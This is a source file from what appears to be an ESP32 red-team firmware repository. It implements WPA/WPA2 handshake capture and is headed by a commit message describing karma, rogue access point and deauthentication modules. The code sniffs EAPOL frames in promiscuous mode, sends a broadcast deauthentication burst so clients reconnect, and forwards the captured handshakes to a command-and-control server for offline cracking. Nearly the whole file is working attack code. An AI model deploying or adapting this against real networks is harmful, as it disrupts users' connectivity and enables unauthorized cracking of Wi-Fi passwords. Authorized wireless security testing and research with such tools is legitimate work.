Some checks failed
Discord Push Notification / notify (push) Has been cancelled
Phase 1 of v0.4.0 offensive modules: - Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer for stealth scan, karma, capture — solves single-callback ESP-IDF limit - Attack manager (rt_attack): mutual exclusion ensuring only one offensive operation runs at a time - Deauth refactored to use shared promisc dispatcher + attack lock - Stealth passive scan migrated to promisc dispatcher - Karma attack (rt_karma): probe request listener + probe response injection + rogue SoftAP with most-requested SSID + DNS responder - WPA handshake capture (rt_capture): EAPOL frame capture via promiscuous DATA filter, 4-way handshake identification, optional deauth burst to trigger reconnection - Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options - 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients, rt_capture, rt_capture_stop (14 total in mod_redteam)
384 lines
12 KiB
C
384 lines
12 KiB
C
/*
|
|
* rt_capture.c
|
|
* WPA/WPA2 4-way handshake capture via promiscuous mode.
|
|
*
|
|
* Captures EAPOL frames (EtherType 0x888E) from data frames on the
|
|
* target channel. Identifies the 4 handshake messages via the Key Info
|
|
* field and stores them for transmission to C3PO.
|
|
*
|
|
* Optionally sends a short deauth burst to trigger client reconnection.
|
|
*/
|
|
#include "sdkconfig.h"
|
|
|
|
#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_CAPTURE)
|
|
|
|
#include <string.h>
|
|
#include <stdatomic.h>
|
|
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_log.h"
|
|
|
|
#include "rt_capture.h"
|
|
#include "rt_promisc.h"
|
|
#include "rt_attack.h"
|
|
#include "utils.h"
|
|
|
|
#define TAG "RT_CAPTURE"
|
|
|
|
/* ============================================================
|
|
* EAPOL / 802.1X constants
|
|
* ============================================================ */
|
|
|
|
/* EtherType for 802.1X authentication */
|
|
#define ETHERTYPE_EAPOL 0x888E
|
|
|
|
/* EAPOL Key Info flags (big-endian in the frame) */
|
|
#define KEY_INFO_MIC (1 << 8) /* bit 8: MIC present */
|
|
#define KEY_INFO_SECURE (1 << 9) /* bit 9: secure */
|
|
#define KEY_INFO_INSTALL (1 << 6) /* bit 6: install */
|
|
#define KEY_INFO_ACK (1 << 7) /* bit 7: ACK */
|
|
#define KEY_INFO_PAIRWISE (1 << 3) /* bit 3: pairwise */
|
|
|
|
/* IEEE 802.11 data frame with LLC/SNAP encapsulation */
|
|
/* Data frame header: 24 bytes (no QoS) or 26 bytes (QoS) */
|
|
/* LLC/SNAP: AA AA 03 00 00 00 [ethertype 2 bytes] */
|
|
|
|
/* ============================================================
|
|
* State
|
|
* ============================================================ */
|
|
|
|
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
|
|
static TaskHandle_t s_task = NULL;
|
|
static rt_capture_result_t s_result;
|
|
|
|
/* Capture parameters */
|
|
static uint8_t s_target_bssid[6];
|
|
static uint8_t s_target_channel;
|
|
static bool s_send_deauth;
|
|
|
|
/* ============================================================
|
|
* Identify EAPOL handshake message number from Key Info
|
|
* ============================================================
|
|
*
|
|
* M1: AP→Client ACK=1, MIC=0, Install=0, Pairwise=1
|
|
* M2: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1
|
|
* M3: AP→Client ACK=1, MIC=1, Install=1, Pairwise=1
|
|
* M4: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1, nonce=0
|
|
*/
|
|
static int identify_eapol_msg(const uint8_t *eapol, size_t len)
|
|
{
|
|
/* Minimum EAPOL-Key frame: 4 (802.1X hdr) + 95 (key frame) = 99 bytes */
|
|
if (len < 99) return 0;
|
|
|
|
/* 802.1X header: version(1) + type(1) + length(2) */
|
|
uint8_t eapol_type = eapol[1];
|
|
if (eapol_type != 3) return 0; /* type 3 = EAPOL-Key */
|
|
|
|
/* Key descriptor: type(1) at offset 4 */
|
|
/* Key Info at offset 5-6 (big-endian) */
|
|
uint16_t key_info = (eapol[5] << 8) | eapol[6];
|
|
|
|
bool ack = (key_info & KEY_INFO_ACK) != 0;
|
|
bool mic = (key_info & KEY_INFO_MIC) != 0;
|
|
bool install = (key_info & KEY_INFO_INSTALL) != 0;
|
|
|
|
if (ack && !mic && !install) return 1; /* M1 */
|
|
if (!ack && mic && !install) {
|
|
/* M2 or M4 — distinguish by Key Nonce (offset 17, 32 bytes) */
|
|
/* M4 has all-zero nonce */
|
|
bool nonce_zero = true;
|
|
for (int i = 17; i < 17 + 32 && i < (int)len; i++) {
|
|
if (eapol[i] != 0) { nonce_zero = false; break; }
|
|
}
|
|
return nonce_zero ? 4 : 2;
|
|
}
|
|
if (ack && mic && install) return 3; /* M3 */
|
|
|
|
return 0; /* unknown */
|
|
}
|
|
|
|
/* ============================================================
|
|
* Promiscuous callback — look for EAPOL in data frames
|
|
* ============================================================ */
|
|
|
|
static void IRAM_ATTR capture_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
|
{
|
|
if (type != WIFI_PKT_DATA) return;
|
|
|
|
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
|
const uint8_t *payload = pkt->payload;
|
|
size_t pkt_len = pkt->rx_ctrl.sig_len;
|
|
if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
|
|
|
|
/* Data frame header: minimum 24 bytes */
|
|
if (pkt_len < 24 + 8) return; /* header + LLC/SNAP minimum */
|
|
|
|
/* Check if BSSID matches (addr1 or addr2 or addr3 depending on flags) */
|
|
uint16_t fc = payload[0] | (payload[1] << 8);
|
|
uint8_t to_ds = (fc >> 8) & 0x01;
|
|
uint8_t from_ds = (fc >> 9) & 0x01;
|
|
|
|
const uint8_t *bssid_field;
|
|
const uint8_t *src_field;
|
|
const uint8_t *dst_field;
|
|
|
|
if (to_ds == 0 && from_ds == 1) {
|
|
/* From AP to client: addr1=dst, addr2=BSSID, addr3=src */
|
|
dst_field = payload + 4;
|
|
bssid_field = payload + 10;
|
|
src_field = payload + 16;
|
|
} else if (to_ds == 1 && from_ds == 0) {
|
|
/* From client to AP: addr1=BSSID, addr2=src, addr3=dst */
|
|
bssid_field = payload + 4;
|
|
src_field = payload + 10;
|
|
dst_field = payload + 16;
|
|
} else {
|
|
return; /* WDS or IBSS, skip */
|
|
}
|
|
|
|
/* Filter by target BSSID */
|
|
if (memcmp(bssid_field, s_target_bssid, 6) != 0) return;
|
|
|
|
/* Determine header length (24 or 26 for QoS) */
|
|
uint8_t subtype = (fc >> 4) & 0x0F;
|
|
size_t hdr_len = 24;
|
|
if (subtype >= 8) hdr_len = 26; /* QoS data */
|
|
|
|
if (pkt_len < hdr_len + 8) return;
|
|
|
|
/* LLC/SNAP header: AA AA 03 00 00 00 [ethertype] */
|
|
const uint8_t *llc = payload + hdr_len;
|
|
if (llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03) return;
|
|
|
|
/* EtherType at offset 6-7 of LLC/SNAP (big-endian) */
|
|
uint16_t ethertype = (llc[6] << 8) | llc[7];
|
|
if (ethertype != ETHERTYPE_EAPOL) return;
|
|
|
|
/* EAPOL frame starts after LLC/SNAP (8 bytes) */
|
|
const uint8_t *eapol = llc + 8;
|
|
size_t eapol_len = pkt_len - hdr_len - 8;
|
|
|
|
int msg = identify_eapol_msg(eapol, eapol_len);
|
|
if (msg < 1 || msg > 4) return;
|
|
|
|
/* Store the frame */
|
|
int idx = msg - 1;
|
|
if (s_result.captured & (1 << idx)) return; /* already have this one */
|
|
|
|
size_t store_len = eapol_len;
|
|
if (store_len > RT_CAPTURE_MAX_EAPOL_LEN) store_len = RT_CAPTURE_MAX_EAPOL_LEN;
|
|
|
|
memcpy(s_result.frames[idx].data, eapol, store_len);
|
|
s_result.frames[idx].len = store_len;
|
|
s_result.frames[idx].msg_num = msg;
|
|
s_result.captured |= (1 << idx);
|
|
|
|
/* Track client MAC */
|
|
if (msg == 2 || msg == 4) {
|
|
memcpy(s_result.client, src_field, 6);
|
|
} else {
|
|
memcpy(s_result.client, dst_field, 6);
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Captured EAPOL M%d (%zu bytes) from %02X:%02X:%02X:%02X:%02X:%02X",
|
|
msg, eapol_len,
|
|
s_result.client[0], s_result.client[1], s_result.client[2],
|
|
s_result.client[3], s_result.client[4], s_result.client[5]);
|
|
|
|
/* Check if complete */
|
|
if (s_result.captured == 0x0F) {
|
|
s_result.complete = true;
|
|
ESP_LOGI(TAG, "Full 4-way handshake captured!");
|
|
}
|
|
}
|
|
|
|
/* Handler for the promiscuous dispatcher */
|
|
static const rt_promisc_handler_t s_capture_handler = {
|
|
.cb = capture_promisc_cb,
|
|
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA | WIFI_PROMIS_FILTER_MASK_MGMT,
|
|
.tag = "capture",
|
|
};
|
|
|
|
/* ============================================================
|
|
* Short deauth burst (does NOT use the attack lock — internal use)
|
|
* ============================================================ */
|
|
|
|
typedef struct __attribute__((packed)) {
|
|
uint16_t frame_ctrl;
|
|
uint16_t duration;
|
|
uint8_t addr1[6];
|
|
uint8_t addr2[6];
|
|
uint8_t addr3[6];
|
|
uint16_t seq_ctrl;
|
|
uint16_t reason;
|
|
} deauth_frame_t;
|
|
|
|
static void send_deauth_burst(const uint8_t bssid[6], int count)
|
|
{
|
|
deauth_frame_t frame;
|
|
memset(&frame, 0, sizeof(frame));
|
|
frame.frame_ctrl = 0x00C0; /* deauth */
|
|
frame.reason = 0x0007;
|
|
|
|
/* Broadcast deauth */
|
|
memset(frame.addr1, 0xFF, 6);
|
|
memcpy(frame.addr2, bssid, 6);
|
|
memcpy(frame.addr3, bssid, 6);
|
|
|
|
for (int i = 0; i < count; i++) {
|
|
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
|
vTaskDelay(pdMS_TO_TICKS(5));
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Sent %d deauth frames to trigger reconnection", count);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Capture task
|
|
* ============================================================ */
|
|
|
|
static void capture_task(void *arg)
|
|
{
|
|
(void)arg;
|
|
|
|
/* Reset result */
|
|
memset(&s_result, 0, sizeof(s_result));
|
|
memcpy(s_result.bssid, s_target_bssid, 6);
|
|
|
|
/* Register promiscuous handler */
|
|
esp_err_t ret = rt_promisc_register(&s_capture_handler);
|
|
if (ret != ESP_OK) {
|
|
ESP_LOGE(TAG, "Promisc register failed");
|
|
rt_attack_stop();
|
|
atomic_store(&s_active, false);
|
|
s_task = NULL;
|
|
vTaskDelete(NULL);
|
|
return;
|
|
}
|
|
|
|
/* Set channel */
|
|
if (s_target_channel > 0 && s_target_channel <= 13) {
|
|
rt_promisc_set_channel(s_target_channel);
|
|
}
|
|
|
|
rt_promisc_enable();
|
|
|
|
ESP_LOGI(TAG, "Capture started on ch=%d for BSSID=%02X:%02X:%02X:%02X:%02X:%02X",
|
|
s_target_channel,
|
|
s_target_bssid[0], s_target_bssid[1], s_target_bssid[2],
|
|
s_target_bssid[3], s_target_bssid[4], s_target_bssid[5]);
|
|
|
|
/* Optionally send deauth to force reconnection */
|
|
if (s_send_deauth) {
|
|
vTaskDelay(pdMS_TO_TICKS(500));
|
|
send_deauth_burst(s_target_bssid, 5);
|
|
}
|
|
|
|
/* Wait for capture to complete or user stop */
|
|
while (atomic_load(&s_active) && !s_result.complete) {
|
|
vTaskDelay(pdMS_TO_TICKS(500));
|
|
|
|
/* Report progress */
|
|
if (s_result.captured) {
|
|
ESP_LOGD(TAG, "Progress: M1=%c M2=%c M3=%c M4=%c",
|
|
(s_result.captured & 0x01) ? 'Y' : '-',
|
|
(s_result.captured & 0x02) ? 'Y' : '-',
|
|
(s_result.captured & 0x04) ? 'Y' : '-',
|
|
(s_result.captured & 0x08) ? 'Y' : '-');
|
|
}
|
|
}
|
|
|
|
/* Send results to C2 if we captured anything */
|
|
if (s_result.captured) {
|
|
char buf[128];
|
|
for (int i = 0; i < 4; i++) {
|
|
if (!(s_result.captured & (1 << i))) continue;
|
|
|
|
/* Format: EAPOL|<bssid>|<client>|M<n>|<hex_data> */
|
|
/* Send the raw frame via msg_data for C3PO to process */
|
|
snprintf(buf, sizeof(buf),
|
|
"EAPOL|%02X%02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X%02X|M%d|%zu",
|
|
s_result.bssid[0], s_result.bssid[1], s_result.bssid[2],
|
|
s_result.bssid[3], s_result.bssid[4], s_result.bssid[5],
|
|
s_result.client[0], s_result.client[1], s_result.client[2],
|
|
s_result.client[3], s_result.client[4], s_result.client[5],
|
|
i + 1, s_result.frames[i].len);
|
|
msg_data(TAG, buf, strlen(buf), false, "");
|
|
|
|
/* Send the raw EAPOL bytes */
|
|
msg_data(TAG, s_result.frames[i].data, s_result.frames[i].len,
|
|
(i == 3 || !(s_result.captured & ~((1 << (i+1)) - 1))),
|
|
"");
|
|
}
|
|
|
|
snprintf(buf, sizeof(buf), "Capture done: %s (%d/4 messages)",
|
|
s_result.complete ? "COMPLETE" : "partial",
|
|
__builtin_popcount(s_result.captured));
|
|
msg_info(TAG, buf, "");
|
|
}
|
|
|
|
rt_promisc_unregister(&s_capture_handler);
|
|
rt_promisc_disable();
|
|
rt_attack_stop();
|
|
|
|
ESP_LOGI(TAG, "Capture stopped: %d/4 messages",
|
|
__builtin_popcount(s_result.captured));
|
|
|
|
atomic_store(&s_active, false);
|
|
s_task = NULL;
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Public API
|
|
* ============================================================ */
|
|
|
|
void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth)
|
|
{
|
|
if (atomic_load(&s_active)) {
|
|
ESP_LOGW(TAG, "Capture already running");
|
|
return;
|
|
}
|
|
|
|
if (rt_attack_start(RT_ATTACK_CAPTURE) != ESP_OK) {
|
|
ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
|
|
rt_attack_name());
|
|
return;
|
|
}
|
|
|
|
memcpy(s_target_bssid, bssid, 6);
|
|
s_target_channel = channel;
|
|
s_send_deauth = send_deauth;
|
|
|
|
atomic_store(&s_active, true);
|
|
|
|
xTaskCreatePinnedToCore(
|
|
capture_task,
|
|
"rt_capture",
|
|
6144,
|
|
NULL,
|
|
6,
|
|
&s_task,
|
|
1 /* Core 1 */
|
|
);
|
|
}
|
|
|
|
void rt_capture_stop(void)
|
|
{
|
|
atomic_store(&s_active, false);
|
|
}
|
|
|
|
bool rt_capture_is_active(void)
|
|
{
|
|
return atomic_load(&s_active);
|
|
}
|
|
|
|
const rt_capture_result_t *rt_capture_get_result(void)
|
|
{
|
|
return &s_result;
|
|
}
|
|
|
|
#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_CAPTURE */
|